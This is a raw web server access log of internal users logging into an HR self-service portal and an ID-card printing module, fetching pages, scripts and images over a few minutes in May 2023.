192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/img/human.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/img/human.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/img/Person.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/img/Person.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/css/default.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/css/default.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/js/functions.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/js/functions.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/js/translate.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/js/translate.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50660 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50660
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/img/date.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/img/date.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/img/lov.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/img/lov.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/ocx/IdrOcx.cab HTTP/1.1" 200 720802 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:27 +0800] "GET /idcard/ocx/IdrOcx.cab HTTP/1.1" 200 720802
192.168.11.236 - - [25/May/2023:13:41:35 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:41:35 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:13:41:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.236 - - [25/May/2023:13:41:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.97 - - [25/May/2023:13:42:20 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:42:20 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857
192.168.11.97 - - [25/May/2023:13:44:07 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 7633 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:44:07 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 7633
192.168.11.97 - - [25/May/2023:13:44:26 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 7619
192.168.11.97 - - [25/May/2023:13:44:26 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 7619 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:44:49 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 7930
192.168.11.97 - - [25/May/2023:13:44:49 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 7930 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:44:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/230055.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:44:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/230055.jpg HTTP/1.1" 404 243 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:44:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/230056.jpg HTTP/1.1" 404 243 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:44:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/230056.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:45:14 +0800] "GET /Apache%20Software%20Foundation/emphoto/230055.jpg HTTP/1.1" 404 243 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:45:14 +0800] "GET /Apache%20Software%20Foundation/emphoto/230056.jpg HTTP/1.1" 404 243 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:45:14 +0800] "GET /Apache%20Software%20Foundation/emphoto/230055.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:45:14 +0800] "GET /Apache%20Software%20Foundation/emphoto/230056.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:45:39 +0800] "GET /Apache%20Software%20Foundation/emphoto/230055.jpg HTTP/1.1" 404 243 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:45:39 +0800] "GET /Apache%20Software%20Foundation/emphoto/230055.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:45:39 +0800] "GET /Apache%20Software%20Foundation/emphoto/230056.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:45:39 +0800] "GET /Apache%20Software%20Foundation/emphoto/230056.jpg HTTP/1.1" 404 243 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:45:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/230055.jpg HTTP/1.1" 404 243 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:45:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/230055.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:45:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/230056.jpg HTTP/1.1" 404 243 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:45:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/230056.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:45:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/230055.jpg HTTP/1.1" 404 243 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:45:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/230055.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:45:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/230056.jpg HTTP/1.1" 404 243 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:45:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/230056.jpg HTTP/1.1" 404 243
192.168.12.71 - - [25/May/2023:13:43:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:43:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.236 - - [25/May/2023:13:41:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:13:41:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:39:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:13:39:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:49:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:49:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.134 - - [25/May/2023:13:50:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.134 - - [25/May/2023:13:50:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.134 - - [25/May/2023:13:50:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.134 - - [25/May/2023:13:50:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.134 - - [25/May/2023:13:50:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.134 - - [25/May/2023:13:50:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.236 - - [25/May/2023:13:52:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:52:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325
192.168.11.97 - - [25/May/2023:13:54:14 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.97 - - [25/May/2023:13:54:14 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:54:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.81:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:54:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.97 - - [25/May/2023:13:54:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.81:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:54:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.236 - - [25/May/2023:13:52:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.236 - - [25/May/2023:13:52:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:52:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:52:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.97 - - [25/May/2023:13:54:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:54:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.97 - - [25/May/2023:13:55:02 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9507 "http://192.168.1.81:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:02 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9507
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
